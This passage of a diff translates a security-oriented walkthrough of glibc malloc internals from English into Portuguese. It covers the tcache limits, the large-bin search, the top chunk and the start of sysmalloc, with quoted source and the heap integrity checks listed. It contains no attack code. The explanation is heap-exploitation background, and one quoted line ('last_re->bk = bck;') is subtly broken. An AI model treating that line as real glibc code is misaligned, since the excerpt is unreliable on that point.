+if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
+malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
+fwd->bk_nextsize = victim;
+victim->bk_nextsize->fd_nextsize = victim;
+}
+bck = fwd->bk;
+if (bck->fd != fwd)
+malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
+}
+}
+else
+victim->fd_nextsize = victim->bk_nextsize = victim;
+}
 
-          mark_bin (av, victim_index);
-          victim->bk = bck;
-          victim->fd = fwd;
-          fwd->bk = victim;
-          bck->fd = victim;
+mark_bin (av, victim_index);
+victim->bk = bck;
+victim->fd = fwd;
+fwd->bk = victim;
+bck->fd = victim;
 ```
-
 

 
-#### `_int_malloc` limits
+#### Limites do `_int_malloc`
 
-At this point, if some chunk was stored in the tcache that can be used and the limit is reached, just **return a tcache chunk**.
+Neste ponto, se algum chunk foi armazenado no tcache que pode ser usado e o limite é alcançado, apenas **retorne um chunk do tcache**.
 
-Moreover, if **MAX_ITERS** is reached, break from the loop for and get a chunk in a different way (top chunk).
+Além disso, se **MAX_ITERS** for alcançado, saia do loop e obtenha um chunk de uma maneira diferente (top chunk).
 
-If `return_cached` was set, just return a chunk from the tcache to avoid larger searches.
+Se `return_cached` foi definido, apenas retorne um chunk do tcache para evitar buscas maiores.
 
 

 
-_int_malloc limits
-
+_int_malloc limites
 ```c
 // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7
 
 #if USE_TCACHE
-      /* If we've processed as many chunks as we're allowed while
-	 filling the cache, return one of the cached ones.  */
-      ++tcache_unsorted_count;
-      if (return_cached
-	  && mp_.tcache_unsorted_limit > 0
-	  && tcache_unsorted_count > mp_.tcache_unsorted_limit)
-	{
-	  return tcache_get (tc_idx);
-	}
+/* If we've processed as many chunks as we're allowed while
+filling the cache, return one of the cached ones.  */
+++tcache_unsorted_count;
+if (return_cached
+&& mp_.tcache_unsorted_limit > 0
+&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
+{
+return tcache_get (tc_idx);
+}
 #endif
 
 #define MAX_ITERS       10000
-          if (++iters >= MAX_ITERS)
-            break;
-        }
+if (++iters >= MAX_ITERS)
+break;
+}
 
 #if USE_TCACHE
-      /* If all the small chunks we found ended up cached, return one now.  */
-      if (return_cached)
-	{
-	  return tcache_get (tc_idx);
-	}
+/* If all the small chunks we found ended up cached, return one now.  */
+if (return_cached)
+{
+return tcache_get (tc_idx);
+}
 #endif
 ```
-
 

 
-If limits not reached, continue with the code...
+Se os limites não forem alcançados, continue com o código...
 
-### Large Bin (by index)
+### Large Bin (por índice)
 
-If the request is large (not in small bin) and we haven't yet returned any chunk, get the **index** of the requested size in the **large bin**, check if **not empty** of if the **biggest chunk in this bin is bigger** than the requested size and in that case find the **smallest chunk that can be used** for the requested size.
+Se o pedido for grande (não em small bin) e ainda não tivermos retornado nenhum chunk, obtenha o **índice** do tamanho solicitado no **large bin**, verifique se **não está vazio** ou se o **maior chunk neste bin é maior** do que o tamanho solicitado e, nesse caso, encontre o **menor chunk que pode ser usado** para o tamanho solicitado.
 
-If the reminder space from the finally used chunk can be a new chunk, add it to the unsorted bin and the lsast_reminder is updated.
+Se o espaço restante do chunk finalmente usado puder ser um novo chunk, adicione-o ao unsorted bin e o last_reminder é atualizado.
 
-A security check is made when adding the reminder to the unsorted bin:
+Uma verificação de segurança é feita ao adicionar o restante ao unsorted bin:
 
 - `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
 
 

 
-_int_malloc Large bin (by index)
-
+_int_malloc Large bin (por índice)
 ```c
 // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10
 
 /*
-         If a large request, scan through the chunks of current bin in
-         sorted order to find smallest that fits.  Use the skip list for this.
-       */
+If a large request, scan through the chunks of current bin in
+sorted order to find smallest that fits.  Use the skip list for this.
+*/
 
-      if (!in_smallbin_range (nb))
-        {
-          bin = bin_at (av, idx);
+if (!in_smallbin_range (nb))
+{
+bin = bin_at (av, idx);
 
-          /* skip scan if empty or largest chunk is too small */
-          if ((victim = first (bin)) != bin
-	      && (unsigned long) chunksize_nomask (victim)
-	        >= (unsigned long) (nb))
-            {
-              victim = victim->bk_nextsize;
-              while (((unsigned long) (size = chunksize (victim)) <
-                      (unsigned long) (nb)))
-                victim = victim->bk_nextsize;
+/* skip scan if empty or largest chunk is too small */
+if ((victim = first (bin)) != bin
+&& (unsigned long) chunksize_nomask (victim)
+>= (unsigned long) (nb))
+{
+victim = victim->bk_nextsize;
+while (((unsigned long) (size = chunksize (victim)) <
+(unsigned long) (nb)))
+victim = victim->bk_nextsize;
 
-              /* Avoid removing the first entry for a size so that the skip
-                 list does not have to be rerouted.  */
-              if (victim != last (bin)
-		  && chunksize_nomask (victim)
-		    == chunksize_nomask (victim->fd))
-                victim = victim->fd;
+/* Avoid removing the first entry for a size so that the skip
+list does not have to be rerouted.  */
+if (victim != last (bin)
+&& chunksize_nomask (victim)
+== chunksize_nomask (victim->fd))
+victim = victim->fd;
 
-              remainder_size = size - nb;
-              unlink_chunk (av, victim);
+remainder_size = size - nb;
+unlink_chunk (av, victim);
 
-              /* Exhaust */
-              if (remainder_size < MINSIZE)
-                {
-                  set_inuse_bit_at_offset (victim, size);
-                  if (av != &main_arena)
-		    set_non_main_arena (victim);
-                }
-              /* Split */
-              else
-                {
-                  remainder = chunk_at_offset (victim, nb);
-                  /* We cannot assume the unsorted list is empty and therefore
-                     have to perform a complete insert here.  */
-                  bck = unsorted_chunks (av);
-                  fwd = bck->fd;
-		  if (__glibc_unlikely (fwd->bk != bck))
-		    malloc_printerr ("malloc(): corrupted unsorted chunks");
-                  last_re->bk = bck;
-                  remainder->fd = fwd;
-                  bck->fd = remainder;
-                  fwd->bk = remainder;
-                  if (!in_smallbin_range (remainder_size))
-                    {
-                      remainder->fd_nextsize = NULL;
-                      remainder->bk_nextsize = NULL;
-                    }
-                  set_head (victim, nb | PREV_INUSE |
-                            (av != &main_arena ? NON_MAIN_ARENA : 0));
-                  set_head (remainder, remainder_size | PREV_INUSE);
-                  set_foot (remainder, remainder_size);
-                }
-              check_malloced_chunk (av, victim, nb);
-              void *p = chunk2mem (victim);
-              alloc_perturb (p, bytes);
-              return p;
-            }
-        }
+/* Exhaust */
+if (remainder_size < MINSIZE)
+{
+set_inuse_bit_at_offset (victim, size);
+if (av != &main_arena)
+set_non_main_arena (victim);
+}
+/* Split */
+else
+{
+remainder = chunk_at_offset (victim, nb);
+/* We cannot assume the unsorted list is empty and therefore
+have to perform a complete insert here.  */
+bck = unsorted_chunks (av);
+fwd = bck->fd;
+if (__glibc_unlikely (fwd->bk != bck))
+malloc_printerr ("malloc(): corrupted unsorted chunks");
+last_re->bk = bck;
+remainder->fd = fwd;
+bck->fd = remainder;
+fwd->bk = remainder;
+if (!in_smallbin_range (remainder_size))
+{
+remainder->fd_nextsize = NULL;
+remainder->bk_nextsize = NULL;
+}
+set_head (victim, nb | PREV_INUSE |
+(av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
+set_foot (remainder, remainder_size);
+}
+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
+}
 ```
-
 

 
-If a chunk isn't found suitable for this, continue
+Se um chunk não for encontrado adequado para isso, continue
 
-### Large Bin (next bigger)
+### Large Bin (próximo maior)
 
-If in the exact large bin there wasn't any chunk that could be used, start looping through all the next large bin (starting y the immediately larger) until one is found (if any).
+Se no bin grande exato não houver nenhum chunk que possa ser usado, comece a percorrer todos os próximos bins grandes (começando pelo imediatamente maior) até que um seja encontrado (se houver).
 
-The reminder of the split chunk is added in the unsorted bin, last_reminder is updated and the same security check is performed:
+O restante do chunk dividido é adicionado no bin não ordenado, last_reminder é atualizado e a mesma verificação de segurança é realizada:
 
 - `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2`
 
 

 
-_int_malloc Large bin (next bigger)
-
+_int_malloc Large bin (próximo maior)
 ```c
 // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10
 
 /*
-         Search for a chunk by scanning bins, starting with next largest
-         bin. This search is strictly by best-fit; i.e., the smallest
-         (with ties going to approximately the least recently used) chunk
-         that fits is selected.
+Search for a chunk by scanning bins, starting with next largest
+bin. This search is strictly by best-fit; i.e., the smallest
+(with ties going to approximately the least recently used) chunk
+that fits is selected.
 
-         The bitmap avoids needing to check that most blocks are nonempty.
-         The particular case of skipping all bins during warm-up phases
-         when no chunks have been returned yet is faster than it might look.
-       */
+The bitmap avoids needing to check that most blocks are nonempty.
+The particular case of skipping all bins during warm-up phases
+when no chunks have been returned yet is faster than it might look.
+*/
 
-      ++idx;
-      bin = bin_at (av, idx);
-      block = idx2block (idx);
-      map = av->binmap[block];
-      bit = idx2bit (idx);
+++idx;
+bin = bin_at (av, idx);
+block = idx2block (idx);
+map = av->binmap[block];
+bit = idx2bit (idx);
 
-      for (;; )
-        {
-          /* Skip rest of block if there are no more set bits in this block.  */
-          if (bit > map || bit == 0)
-            {
-              do
-                {
-                  if (++block >= BINMAPSIZE) /* out of bins */
-                    goto use_top;
-                }
-              while ((map = av->binmap[block]) == 0);
+for (;; )
+{
+/* Skip rest of block if there are no more set bits in this block.  */
+if (bit > map || bit == 0)
+{
+do
+{
+if (++block >= BINMAPSIZE) /* out of bins */
+goto use_top;
+}
+while ((map = av->binmap[block]) == 0);
 
-              bin = bin_at (av, (block << BINMAPSHIFT));
-              bit = 1;
-            }
+bin = bin_at (av, (block << BINMAPSHIFT));
+bit = 1;
+}
 
-          /* Advance to bin with set bit. There must be one. */
-          while ((bit & map) == 0)
-            {
-              bin = next_bin (bin);
-              bit <<= 1;
-              assert (bit != 0);
-            }
+/* Advance to bin with set bit. There must be one. */
+while ((bit & map) == 0)
+{
+bin = next_bin (bin);
+bit <<= 1;
+assert (bit != 0);
+}
 
-          /* Inspect the bin. It is likely to be non-empty */
-          victim = last (bin);
+/* Inspect the bin. It is likely to be non-empty */
+victim = last (bin);
 
-          /*  If a false alarm (empty bin), clear the bit. */
-          if (victim == bin)
-            {
-              av->binmap[block] = map &= ~bit; /* Write through */
-              bin = next_bin (bin);
-              bit <<= 1;
-            }
+/*  If a false alarm (empty bin), clear the bit. */
+if (victim == bin)
+{
+av->binmap[block] = map &= ~bit; /* Write through */
+bin = next_bin (bin);
+bit <<= 1;
+}
 
-          else
-            {
-              size = chunksize (victim);
+else
+{
+size = chunksize (victim);
 
-              /*  We know the first chunk in this bin is big enough to use. */
-              assert ((unsigned long) (size) >= (unsigned long) (nb));
+/*  We know the first chunk in this bin is big enough to use. */
+assert ((unsigned long) (size) >= (unsigned long) (nb));
 
-              remainder_size = size - nb;
+remainder_size = size - nb;
 
-              /* unlink */
-              unlink_chunk (av, victim);
+/* unlink */
+unlink_chunk (av, victim);
 
-              /* Exhaust */
-              if (remainder_size < MINSIZE)
-                {
-                  set_inuse_bit_at_offset (victim, size);
-                  if (av != &main_arena)
-		    set_non_main_arena (victim);
-                }
+/* Exhaust */
+if (remainder_size < MINSIZE)
+{
+set_inuse_bit_at_offset (victim, size);
+if (av != &main_arena)
+set_non_main_arena (victim);
+}
 
-              /* Split */
-              else
-                {
-                  remainder = chunk_at_offset (victim, nb);
+/* Split */
+else
+{
+remainder = chunk_at_offset (victim, nb);
 
-                  /* We cannot assume the unsorted list is empty and therefore
-                     have to perform a complete insert here.  */
-                  bck = unsorted_chunks (av);
-                  fwd = bck->fd;
-		  if (__glibc_unlikely (fwd->bk != bck))
-		    malloc_printerr ("malloc(): corrupted unsorted chunks 2");
-                  remainder->bk = bck;
-                  remainder->fd = fwd;
-                  bck->fd = remainder;
-                  fwd->bk = remainder;
+/* We cannot assume the unsorted list is empty and therefore
+have to perform a complete insert here.  */
+bck = unsorted_chunks (av);
+fwd = bck->fd;
+if (__glibc_unlikely (fwd->bk != bck))
+malloc_printerr ("malloc(): corrupted unsorted chunks 2");
+remainder->bk = bck;
+remainder->fd = fwd;
+bck->fd = remainder;
+fwd->bk = remainder;
 
-                  /* advertise as last remainder */
-                  if (in_smallbin_range (nb))
-                    av->last_remainder = remainder;
-                  if (!in_smallbin_range (remainder_size))
-                    {
-                      remainder->fd_nextsize = NULL;
-                      remainder->bk_nextsize = NULL;
-                    }
-                  set_head (victim, nb | PREV_INUSE |
-                            (av != &main_arena ? NON_MAIN_ARENA : 0));
-                  set_head (remainder, remainder_size | PREV_INUSE);
-                  set_foot (remainder, remainder_size);
-                }
-              check_malloced_chunk (av, victim, nb);
-              void *p = chunk2mem (victim);
-              alloc_perturb (p, bytes);
-              return p;
-            }
-        }
+/* advertise as last remainder */
+if (in_smallbin_range (nb))
+av->last_remainder = remainder;
+if (!in_smallbin_range (remainder_size))
+{
+remainder->fd_nextsize = NULL;
+remainder->bk_nextsize = NULL;
+}
+set_head (victim, nb | PREV_INUSE |
+(av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
+set_foot (remainder, remainder_size);
+}
+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
+}
 ```
-
 

 
 ### Top Chunk
 
-At this point, it's time to get a new chunk from the Top chunk (if big enough).
+Neste ponto, é hora de obter um novo chunk do Top chunk (se for grande o suficiente).
 
-It starts with a security check making sure that the size of the chunk size is not too big (corrupted):
+Ele começa com uma verificação de segurança para garantir que o tamanho do chunk não seja muito grande (corrompido):
 
 - `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size`
 
-Then, it'll use the top chunk space if it's large enough to create a chunk of the requested size.\
-If not, if there are fast chunks, consolidate them and try again.\
-Finally, if not enough space use `sysmalloc` to allocate enough size.
+Em seguida, usará o espaço do top chunk se for grande o suficiente para criar um chunk do tamanho solicitado.\
+Caso contrário, se houver chunks rápidos, consolide-os e tente novamente.\
+Finalmente, se não houver espaço suficiente, use `sysmalloc` para alocar o tamanho necessário.
 
 

 
 _int_malloc Top chunk
-
 ```c
 use_top:
-      /*
-         If large enough, split off the chunk bordering the end of memory
-         (held in av->top). Note that this is in accord with the best-fit
-         search rule.  In effect, av->top is treated as larger (and thus
-         less well fitting) than any other available chunk since it can
-         be extended to be as large as necessary (up to system
-         limitations).
+/*
+If large enough, split off the chunk bordering the end of memory
+(held in av->top). Note that this is in accord with the best-fit
+search rule.  In effect, av->top is treated as larger (and thus
+less well fitting) than any other available chunk since it can
+be extended to be as large as necessary (up to system
+limitations).
 
-         We require that av->top always exists (i.e., has size >=
-         MINSIZE) after initialization, so if it would otherwise be
-         exhausted by current request, it is replenished. (The main
-         reason for ensuring it exists is that we may need MINSIZE space
-         to put in fenceposts in sysmalloc.)
-       */
+We require that av->top always exists (i.e., has size >=
+MINSIZE) after initialization, so if it would otherwise be
+exhausted by current request, it is replenished. (The main
+reason for ensuring it exists is that we may need MINSIZE space
+to put in fenceposts in sysmalloc.)
+*/
 
-      victim = av->top;
-      size = chunksize (victim);
+victim = av->top;
+size = chunksize (victim);
 
-      if (__glibc_unlikely (size > av->system_mem))
-        malloc_printerr ("malloc(): corrupted top size");
+if (__glibc_unlikely (size > av->system_mem))
+malloc_printerr ("malloc(): corrupted top size");
 
-      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
-        {
-          remainder_size = size - nb;
-          remainder = chunk_at_offset (victim, nb);
-          av->top = remainder;
-          set_head (victim, nb | PREV_INUSE |
-                    (av != &main_arena ? NON_MAIN_ARENA : 0));
-          set_head (remainder, remainder_size | PREV_INUSE);
+if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
+{
+remainder_size = size - nb;
+remainder = chunk_at_offset (victim, nb);
+av->top = remainder;
+set_head (victim, nb | PREV_INUSE |
+(av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
 
-          check_malloced_chunk (av, victim, nb);
-          void *p = chunk2mem (victim);
-          alloc_perturb (p, bytes);
-          return p;
-        }
+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
 
-      /* When we are using atomic ops to free fast chunks we can get
-         here for all block sizes.  */
-      else if (atomic_load_relaxed (&av->have_fastchunks))
-        {
-          malloc_consolidate (av);
-          /* restore original bin index */
-          if (in_smallbin_range (nb))
-            idx = smallbin_index (nb);
-          else
-            idx = largebin_index (nb);
-        }
+/* When we are using atomic ops to free fast chunks we can get
+here for all block sizes.  */
+else if (atomic_load_relaxed (&av->have_fastchunks))
+{
+malloc_consolidate (av);
+/* restore original bin index */
+if (in_smallbin_range (nb))
+idx = smallbin_index (nb);
+else
+idx = largebin_index (nb);
+}
 
-      /*
-         Otherwise, relay to handle system-dependent cases
-       */
-      else
-        {
-          void *p = sysmalloc (nb, av);
-          if (p != NULL)
-            alloc_perturb (p, bytes);
-          return p;
-        }
-    }
+/*
+Otherwise, relay to handle system-dependent cases
+*/
+else
+{
+void *p = sysmalloc (nb, av);
+if (p != NULL)
+alloc_perturb (p, bytes);
+return p;
+}
+}
 }
 
 ```
-
 

 
 ## sysmalloc
 
-### sysmalloc start
+### sysmalloc início
 
-If arena is null or the requested size is too big (and there are mmaps left permitted) use `sysmalloc_mmap` to allocate space and return it.
+Se a arena for nula ou o tamanho solicitado for muito grande (e houver mmaps permitidos restantes), use `sysmalloc_mmap` para alocar espaço e retorná-lo.
 
 

 
-sysmalloc start
-
+sysmalloc início
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531
 
 /*
-   sysmalloc handles malloc cases requiring more memory from the system.
-   On entry, it is assumed that av->top does not have enough
-   space to service request for nb bytes, thus requiring that av->top
-   be extended or replaced.
- */
+sysmalloc handles malloc cases requiring more memory from the system.
+On entry, it is assumed that av->top does not have enough
+space to service request for nb bytes, thus requiring that av->top
+be extended or replaced.
+*/
 
- static void *
+static void *
 sysmalloc (INTERNAL_SIZE_T nb, mstate av)
 {
-  mchunkptr old_top;              /* incoming value of av->top */
-  INTERNAL_SIZE_T old_size;       /* its size */
-  char *old_end;                  /* its end address */
+mchunkptr old_top;              /* incoming value of av->top */
+INTERNAL_SIZE_T old_size;       /* its size */
+char *old_end;                  /* its end address */
 
-  long size;                      /* arg to first MORECORE or mmap call */
-  char *brk;                      /* return value from MORECORE */
+long size;                      /* arg to first MORECORE or mmap call */
+char *brk;                      /* return value from MORECORE */
 
-  long correction;                /* arg to 2nd MORECORE call */
-  char *snd_brk;                  /* 2nd return val */
+long correction;                /* arg to 2nd MORECORE call */
+char *snd_brk;                  /* 2nd return val */
 
-  INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */
-  INTERNAL_SIZE_T end_misalign;   /* partial page left at end of new space */
-  char *aligned_brk;              /* aligned offset into brk */
+INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */
+INTERNAL_SIZE_T end_misalign;   /* partial page left at end of new space */
+char *aligned_brk;              /* aligned offset into brk */
 
-  mchunkptr p;                    /* the allocated/returned chunk */
-  mchunkptr remainder;            /* remainder from allocation */
-  unsigned long remainder_size;   /* its size */
+mchunkptr p;                    /* the allocated/returned chunk */
+mchunkptr remainder;            /* remainder from allocation */
+unsigned long remainder_size;   /* its size */
 
 
-  size_t pagesize = GLRO (dl_pagesize);
-  bool tried_mmap = false;
+size_t pagesize = GLRO (dl_pagesize);
+bool tried_mmap = false;
 
 
-  /*
-     If have mmap, and the request size meets the mmap threshold, and
-     the system supports mmap, and there are few enough currently
-     allocated mmapped regions, try to directly map this request
-     rather than expanding top.
-   */
+/*
+If have mmap, and the request size meets the mmap threshold, and
+the system supports mmap, and there are few enough currently
+allocated mmapped regions, try to directly map this request
+rather than expanding top.
+*/
 
-  if (av == NULL
-      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
-	  && (mp_.n_mmaps < mp_.n_mmaps_max)))
-    {
-      char *mm;
-      if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize)
-	{
-	  /* There is no need to issue the THP madvise call if Huge Pages are
-	     used directly.  */
-	  mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av);
-	  if (mm != MAP_FAILED)
-	    return mm;
-	}
-      mm = sysmalloc_mmap (nb, pagesize, 0, av);
-      if (mm != MAP_FAILED)
-	return mm;
-      tried_mmap = true;
-    }
+if (av == NULL
+|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
+&& (mp_.n_mmaps < mp_.n_mmaps_max)))
+{
+char *mm;
+if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize)
+{
+/* There is no need to issue the THP madvise call if Huge Pages are
+used directly.  */
+mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av);
+if (mm != MAP_FAILED)
+return mm;
+}
+mm = sysmalloc_mmap (nb, pagesize, 0, av);
+if (mm != MAP_FAILED)
+return mm;
+tried_mmap = true;
+}
 
-  /* There are no usable arenas and mmap also failed.  */
-  if (av == NULL)
-    return 0;
+/* There are no usable arenas and mmap also failed.  */
+if (av == NULL)
+return 0;
 ```
-
 

 
 ### sysmalloc checks
 
-It starts by getting old top chunk information and checking that some of the following condations are true:
+Começa obtendo informações do antigo chunk superior e verificando se algumas das seguintes condições são verdadeiras:
 
-- The old heap size is 0 (new heap)
-- The size of the previous heap is greater and MINSIZE and the old Top is in use
-- The heap is aligned to page size (0x1000 so the lower 12 bits need to be 0)
+- O tamanho do heap antigo é 0 (novo heap)
+- O tamanho do heap anterior é maior que MINSIZE e o antigo Top está em uso
+- O heap está alinhado ao tamanho da página (0x1000, então os 12 bits inferiores precisam ser 0)
 
-Then it also checks that:
+Então, também verifica se:
 
-- The old size hasn't enough space to create a chunk for the requested size
+- O tamanho antigo não tem espaço suficiente para criar um chunk para o tamanho solicitado
 
 

 
 sysmalloc checks
-
 ```c
 /* Record incoming configuration of top */
 
-  old_top = av->top;
-  old_size = chunksize (old_top);
-  old_end = (char *) (chunk_at_offset (old_top, old_size));
+old_top = av->top;
+old_size = chunksize (old_top);
+old_end = (char *) (chunk_at_offset (old_top, old_size));
 
-  brk = snd_brk = (char *) (MORECORE_FAILURE);
+brk = snd_brk = (char *) (MORECORE_FAILURE);
 
-  /*
-     If not the first time through, we require old_size to be
-     at least MINSIZE and to have prev_inuse set.
-   */
+/*
+If not the first time through, we require old_size to be
+at least MINSIZE and to have prev_inuse set.
+*/
 
-  assert ((old_top == initial_top (av) && old_size == 0) ||
-          ((unsigned long) (old_size) >= MINSIZE &&
-           prev_inuse (old_top) &&
-           ((unsigned long) old_end & (pagesize - 1)) == 0));
+assert ((old_top == initial_top (av) && old_size == 0) ||
+((unsigned long) (old_size) >= MINSIZE &&
+prev_inuse (old_top) &&
+((unsigned long) old_end & (pagesize - 1)) == 0));
 
-  /* Precondition: not enough current space to satisfy nb request */
-  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
+/* Precondition: not enough current space to satisfy nb request */
+assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
 ```
-
 

 
-### sysmalloc not main arena
+### sysmalloc não é a arena principal
 
-It'll first try to **extend** the previous heap for this heap. If not possible try to **allocate a new heap** and update the pointers to be able to use it.\
-Finally if that didn't work, try calling **`sysmalloc_mmap`**. 
+Ele tentará primeiro **expandir** o heap anterior para este heap. Se não for possível, tentará **alocar um novo heap** e atualizar os ponteiros para poder usá-lo.\
+Finalmente, se isso não funcionar, tente chamar **`sysmalloc_mmap`**. 
 
 

 
-sysmalloc not main arena
-
+sysmalloc não é a arena principal
 ```c
 if (av != &main_arena)
-    {
-      heap_info *old_heap, *heap;
-      size_t old_heap_size;
+{
+heap_info *old_heap, *heap;
+size_t old_heap_size;
 
-      /* First try to extend the current heap. */
-      old_heap = heap_for_ptr (old_top);
-      old_heap_size = old_heap->size;
-      if ((long) (MINSIZE + nb - old_size) > 0
-          && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
-        {
-          av->system_mem += old_heap->size - old_heap_size;
-          set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
-                    | PREV_INUSE);
-        }
-      else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
-        {
-          /* Use a newly allocated heap.  */
-          heap->ar_ptr = av;
-          heap->prev = old_heap;
-          av->system_mem += heap->size;
-          /* Set up the new top.  */
-          top (av) = chunk_at_offset (heap, sizeof (*heap));
-          set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);
+/* First try to extend the current heap. */
+old_heap = heap_for_ptr (old_top);
+old_heap_size = old_heap->size;
+if ((long) (MINSIZE + nb - old_size) > 0
+&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
+{
+av->system_mem += old_heap->size - old_heap_size;
+set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
+| PREV_INUSE);
+}
+else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
+{
+/* Use a newly allocated heap.  */
+heap->ar_ptr = av;
+heap->prev = old_heap;
+av->system_mem += heap->size;
+/* Set up the new top.  */
+top (av) = chunk_at_offset (heap, sizeof (*heap));
+set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);
 
-          /* Setup fencepost and free the old top chunk with a multiple of
-             MALLOC_ALIGNMENT in size. */
-          /* The fencepost takes at least MINSIZE bytes, because it might
-             become the top chunk again later.  Note that a footer is set
-             up, too, although the chunk is marked in use. */
-          old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
-          set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ),
-		    0 | PREV_INUSE);
-          if (old_size >= MINSIZE)
-            {
-              set_head (chunk_at_offset (old_top, old_size),
-			CHUNK_HDR_SZ | PREV_INUSE);
-              set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ);
-              set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
-              _int_free (av, old_top, 1);
-            }
-          else
-            {
-              set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE);
-              set_foot (old_top, (old_size + CHUNK_HDR_SZ));
-            }
-        }
-      else if (!tried_mmap)
-	{
-	  /* We can at least try to use to mmap memory.  If new_heap fails
-	     it is unlikely that trying to allocate huge pages will
-	     succeed.  */
-	  char *mm = sysmalloc_mmap (nb, pagesize, 0, av);
-	  if (mm != MAP_FAILED)
-	    return mm;
-	}
-    }
+/* Setup fencepost and free the old top chunk with a multiple of
+MALLOC_ALIGNMENT in size. */
+/* The fencepost takes at least MINSIZE bytes, because it might
+become the top chunk again later.  Note that a footer is set
+up, too, although the chunk is marked in use. */
+old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
+set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ),
+0 | PREV_INUSE);
+if (old_size >= MINSIZE)
+{
+set_head (chunk_at_offset (old_top, old_size),
+CHUNK_HDR_SZ | PREV_INUSE);
+set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ);
+set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
+_int_free (av, old_top, 1);
+}
+else
+{
+set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE);
+set_foot (old_top, (old_size + CHUNK_HDR_SZ));
+}
+}
+else if (!tried_mmap)
+{
+/* We can at least try to use to mmap memory.  If new_heap fails
+it is unlikely that trying to allocate huge pages will
+succeed.  */
+char *mm = sysmalloc_mmap (nb, pagesize, 0, av);
+if (mm != MAP_FAILED)
+return mm;
+}
+}
 ```
-
 

 
 ### sysmalloc main arena
 
-It starts calculating the amount of memory needed. It'll start by requesting contiguous memory so in this case it'll be possible to use the old memory not used. Also some align operations are performed.
+Ele começa calculando a quantidade de memória necessária. Ele começará solicitando memória contígua, então, neste caso, será possível usar a memória antiga não utilizada. Também são realizadas algumas operações de alinhamento.
 
 

 
 sysmalloc main arena
-
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10
 
-  else     /* av == main_arena */
+else     /* av == main_arena */
 
 
-    { /* Request enough space for nb + pad + overhead */
-      size = nb + mp_.top_pad + MINSIZE;
+{ /* Request enough space for nb + pad + overhead */
+size = nb + mp_.top_pad + MINSIZE;
 
-      /*
-         If contiguous, we can subtract out existing space that we hope to
-         combine with new space. We add it back later only if
-         we don't actually get contiguous space.
-       */
+/*
+If contiguous, we can subtract out existing space that we hope to
+combine with new space. We add it back later only if
+we don't actually get contiguous space.
+*/
 
-      if (contiguous (av))
-        size -= old_size;
+if (contiguous (av))
+size -= old_size;
 
-      /*
-         Round to a multiple of page size or huge page size.
-         If MORECORE is not contiguous, this ensures that we only call it
-         with whole-page arguments.  And if MORECORE is contiguous and
-         this is not first time through, this preserves page-alignment of
-         previous calls. Otherwise, we correct to page-align below.
-       */
+/*
+Round to a multiple of page size or huge page size.
+If MORECORE is not contiguous, this ensures that we only call it
+with whole-page arguments.  And if MORECORE is contiguous and
+this is not first time through, this preserves page-alignment of
+previous calls. Otherwise, we correct to page-align below.
+*/
 
 #ifdef MADV_HUGEPAGE
-      /* Defined in brk.c.  */
-      extern void *__curbrk;
-      if (__glibc_unlikely (mp_.thp_pagesize != 0))
-	{
-	  uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size,
-				    mp_.thp_pagesize);
-	  size = top - (uintptr_t) __curbrk;
-	}
-      else
+/* Defined in brk.c.  */
+extern void *__curbrk;
+if (__glibc_unlikely (mp_.thp_pagesize != 0))
+{
